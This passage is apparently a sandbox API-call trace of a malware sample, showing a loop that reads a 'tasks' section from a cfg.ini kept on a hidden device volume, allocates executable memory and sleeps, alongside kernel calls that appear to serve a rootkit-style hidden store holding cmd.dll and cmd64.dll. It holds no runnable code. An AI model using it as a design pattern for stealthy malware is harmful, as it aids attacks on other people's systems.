_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.922] KeEnterCriticalRegion () [0124.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] KeLeaveCriticalRegion () [0124.923] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.923] KeEnterCriticalRegion () [0124.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.923] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4960, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] KeLeaveCriticalRegion () [0124.923] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.923] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.923] KeEnterCriticalRegion () [0124.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] ExFreePoolWithTag (P=0xfffffa8003bf48a0, Tag=0x0) [0124.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] KeLeaveCriticalRegion () [0124.923] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.923] ReleaseMutex (hMutex=0xf0) returned 1 [0124.923] Sleep (dwMilliseconds=0x927c0) [0124.937] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.937] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.937] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.937] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.937] KeEnterCriticalRegion () [0124.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.937] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.937] IdePortDispatch () returned 0x103 [0124.937] KeWaitForMutexObject () returned 0x0 [0124.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.938] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.938] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.938] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.938] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.938] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7b10 [0124.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.938] KeLeaveCriticalRegion () [0124.938] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.938] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.938] KeEnterCriticalRegion () [0124.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.938] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.938] KeLeaveCriticalRegion () [0124.938] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.938] KeEnterCriticalRegion () [0124.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.938] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.938] IdePortDispatch () returned 0x103 [0124.938] KeWaitForMutexObject () returned 0x0 [0124.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.938] KeLeaveCriticalRegion () [0124.938] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.939] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.939] KeEnterCriticalRegion () [0124.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.939] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff880035e6000 [0124.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.939] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.939] IdePortDispatch () returned 0x103 [0124.939] KeWaitForMutexObject () returned 0x0 [0124.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.939] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.939] IdePortDispatch () returned 0x103 [0124.939] KeWaitForMutexObject () returned 0x0 [0124.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.939] KeLeaveCriticalRegion () [0124.939] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.940] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.940] KeEnterCriticalRegion () [0124.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.940] KeLeaveCriticalRegion () [0124.940] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.940] KeEnterCriticalRegion () [0124.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.940] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.940] KeLeaveCriticalRegion () [0124.940] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.940] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.940] KeEnterCriticalRegion () [0124.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.940] ExFreePoolWithTag (P=0xfffffa8003be7b10, Tag=0x0) [0124.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.940] KeLeaveCriticalRegion () [0124.940] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.940] ReleaseMutex (hMutex=0xf0) returned 1 [0124.940] Sleep (dwMilliseconds=0x927c0) [0124.954] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.954] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.954] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.954] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.954] KeEnterCriticalRegion () [0124.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.954] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.954] IdePortDispatch () returned 0x103 [0124.954] KeWaitForMutexObject () returned 0x0 [0124.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.955] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.955] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.955] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.955] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.955] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0124.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.955] KeLeaveCriticalRegion () [0124.955] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.955] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.955] KeEnterCriticalRegion () [0124.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.955] KeLeaveCriticalRegion () [0124.955] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.955] KeEnterCriticalRegion () [0124.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.955] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.955] IdePortDispatch () returned 0x103 [0124.955] KeWaitForMutexObject () returned 0x0 [0124.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.955] KeLeaveCriticalRegion () [0124.955] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.955] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.955] KeEnterCriticalRegion () [0124.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035eb000 [0124.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.956] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.956] IdePortDispatch () returned 0x103 [0124.956] KeWaitForMutexObject () returned 0x0 [0124.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.956] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.956] IdePortDispatch () returned 0x103 [0124.956] KeWaitForMutexObject () returned 0x0 [0124.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.956] KeLeaveCriticalRegion () [0124.956] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.957] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.957] KeEnterCriticalRegion () [0124.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.957] KeLeaveCriticalRegion () [0124.957] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.957] KeEnterCriticalRegion () [0124.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.957] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.957] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4600, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.957] KeLeaveCriticalRegion () [0124.957] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.957] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.957] KeEnterCriticalRegion () [0124.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.957] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0124.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.957] KeLeaveCriticalRegion () [0124.957] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.957] ReleaseMutex (hMutex=0xf0) returned 1 [0124.957] Sleep (dwMilliseconds=0x927c0) [0124.971] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.971] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.971] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.971] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.971] KeEnterCriticalRegion () [0124.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.971] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.971] IdePortDispatch () returned 0x103 [0124.971] KeWaitForMutexObject () returned 0x0 [0124.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.971] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.971] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.971] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.971] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.971] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4740 [0124.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.971] KeLeaveCriticalRegion () [0124.971] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.971] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.972] KeEnterCriticalRegion () [0124.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.972] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.972] KeLeaveCriticalRegion () [0124.972] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.972] KeEnterCriticalRegion () [0124.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.972] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.972] IdePortDispatch () returned 0x103 [0124.972] KeWaitForMutexObject () returned 0x0 [0124.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.972] KeLeaveCriticalRegion () [0124.972] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.972] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.972] KeEnterCriticalRegion () [0124.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a00000 [0124.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.972] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.972] IdePortDispatch () returned 0x103 [0124.973] KeWaitForMutexObject () returned 0x0 [0124.973] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.973] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.973] IdePortDispatch () returned 0x103 [0124.973] KeWaitForMutexObject () returned 0x0 [0124.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.973] KeLeaveCriticalRegion () [0124.973] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.974] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.974] KeEnterCriticalRegion () [0124.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.974] KeLeaveCriticalRegion () [0124.974] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.974] KeEnterCriticalRegion () [0124.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.974] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.974] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.974] KeLeaveCriticalRegion () [0124.974] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.974] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.974] KeEnterCriticalRegion () [0124.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.974] ExFreePoolWithTag (P=0xfffffa8003bf4740, Tag=0x0) [0124.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.974] KeLeaveCriticalRegion () [0124.974] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.974] ReleaseMutex (hMutex=0xf0) returned 1 [0124.974] Sleep (dwMilliseconds=0x927c0) [0124.988] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.988] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.988] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.988] _snprintf 